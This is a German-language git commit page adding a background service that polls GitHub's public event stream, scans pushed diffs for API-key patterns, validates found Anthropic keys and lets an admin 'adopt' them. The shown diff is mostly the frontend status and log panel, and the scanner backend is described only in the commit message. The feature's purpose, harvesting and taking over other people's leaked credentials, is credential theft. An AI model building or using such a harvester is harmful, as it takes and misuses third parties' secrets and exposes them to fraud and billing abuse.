feat: GitHub Event Scanner - Echtzeit-Monitoring öffentlicher Pushes
- Neuer GitHubEventScannerService (BackgroundService) - Pollt /events API alle 30s, filtert PushEvents - Lädt Head-Commit-Diffs, scannt nach Key-Patterns - Ringbuffer (10k IDs) für Event-Deduplication - Gefundene Keys werden sofort geprüft (AnthropicKeyChecker) - Rate-Limit-Handling (403/429 → Pause bis Reset) - Feature-Toggle in Server-Einstellungen (GitHubEventScanner) - Status-Endpoint + Log-Endpoint (/api/admin/api-keys/event-scanner/*) - Live-Status in API-Keys-Seite mit klappbarem Log - Auto-Refresh alle 30s - Plans/ in .gitignore
This commit is contained in:
1 parent
7352438b11
commit
eb8844a4f1
9 files changed
+578
-2
No files matched your search
@@ -56,7 +56,7 @@
|
||||
#chat {
|
||||
flex: 1;
|
||||
overflow-y: auto;
|
||||
padding: 2em 1em 1em;
|
||||
padding: 8em 1em 1em;
|
||||
gap: var(--badge-spacing);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
||||
@@ -556,6 +556,8 @@
|
||||
<h1>API-Keys</h1>
|
||||
</header>
|
||||
<div class="page-content">
|
||||
<div id="eventScannerStatus" style="display:none;padding:1em;"></div>
|
||||
|
||||
<div class="form">
|
||||
<div class="section-header">
|
||||
<h2>API-Key</h2>
|
||||
|
||||
@@ -239,6 +239,8 @@ function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/
|
||||
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
||||
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
||||
function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); }
|
||||
function apiEventScannerStatus() { return _get('/api/admin/api-keys/event-scanner/status', {}); }
|
||||
function apiEventScannerLog() { return _get('/api/admin/api-keys/event-scanner/log', { entries: [] }); }
|
||||
|
||||
|
||||
// ── Krea Image API ──
|
||||
|
||||
@@ -453,6 +453,65 @@ registerPage('api-keys', {
|
||||
});
|
||||
}
|
||||
|
||||
async function updateEventScannerStatus() {
|
||||
var el = document.getElementById('eventScannerStatus');
|
||||
if (!el) return;
|
||||
try {
|
||||
var s = await apiEventScannerStatus();
|
||||
if (!s.enabled) { el.style.display = 'none'; return; }
|
||||
el.style.display = 'block';
|
||||
|
||||
// Status-Zeile
|
||||
var parts = ['🔴 Event Scanner'];
|
||||
if (s.running) parts = ['🟢 Event Scanner'];
|
||||
if (s.pollCount > 0) parts.push('Polls: ' + s.pollCount);
|
||||
if (s.eventsPerHour > 0) parts.push('Events/h: ' + s.eventsPerHour);
|
||||
if (s.keysFoundTotal > 0) parts.push('🔑 ' + s.keysFoundTotal + ' Key(s) gefunden');
|
||||
if (s.lastPoll) {
|
||||
var ago = Math.round((Date.now() - new Date(s.lastPoll).getTime()) / 1000);
|
||||
parts.push('Letzter Poll: vor ' + (ago < 60 ? ago + 's' : Math.round(ago / 60) + 'min'));
|
||||
}
|
||||
if (s.lastError) parts.push('⚠️ ' + s.lastError);
|
||||
|
||||
var statusLine = parts.join(' · ');
|
||||
|
||||
// Log abrufen
|
||||
var logData = await apiEventScannerLog();
|
||||
var logLines = [];
|
||||
if (logData.entries && logData.entries.length > 0) {
|
||||
var last10 = logData.entries.slice(-10).reverse();
|
||||
logLines = last10.map(function(e) {
|
||||
var t = new Date(e.time).toLocaleTimeString();
|
||||
var icon = e.type === 'key' ? '🔑' : e.type === 'error' ? '❌' : e.type === 'rate_limit' ? '⚠️' : '📡';
|
||||
return icon + ' ' + t + ' ' + e.message;
|
||||
});
|
||||
}
|
||||
|
||||
// Immer klickbare Status-Zeile rendern
|
||||
var wasOpen = false;
|
||||
var oldLog = document.getElementById('eventScannerLog');
|
||||
if (oldLog) wasOpen = oldLog.style.display !== 'none';
|
||||
|
||||
el.innerHTML = '';
|
||||
var statusEl = document.createElement('div');
|
||||
statusEl.style.cssText = 'cursor:pointer';
|
||||
statusEl.title = logLines.length > 0 ? 'Klicken für Log' : '';
|
||||
statusEl.textContent = statusLine;
|
||||
el.appendChild(statusEl);
|
||||
|
||||
var logEl = document.createElement('div');
|
||||
logEl.id = 'eventScannerLog';
|
||||
logEl.style.cssText = 'white-space:pre-line;display:none';
|
||||
logEl.textContent = logLines.length > 0 ? logLines.join('\n') : 'Noch keine Log-Einträge…';
|
||||
if (wasOpen) logEl.style.display = 'block';
|
||||
el.appendChild(logEl);
|
||||
|
||||
statusEl.addEventListener('click', function() {
|
||||
logEl.style.display = logEl.style.display === 'none' ? 'block' : 'none';
|
||||
});
|
||||
} catch(e) { el.style.display = 'none'; }
|
||||
}
|
||||
|
||||
async function updateScanStatus() {
|
||||
try {
|
||||
var s = await apiScanStatus();
|
||||
@@ -515,9 +574,17 @@ registerPage('api-keys', {
|
||||
|
||||
await loadScannedKeys();
|
||||
await updateScanStatus();
|
||||
await updateEventScannerStatus();
|
||||
|
||||
// Event Scanner Status auto-refresh
|
||||
var eventScannerTimer = setInterval(updateEventScannerStatus, 30000);
|
||||
this._eventScannerTimer = eventScannerTimer;
|
||||
},
|
||||
|
||||
destroy() {
|
||||
// Polling stoppen wenn Seite verlassen wird
|
||||
if (this._eventScannerTimer) {
|
||||
clearInterval(this._eventScannerTimer);
|
||||
this._eventScannerTimer = null;
|
||||
}
|
||||
}
|
||||
});
|
||||
Reference in new issue
Block a user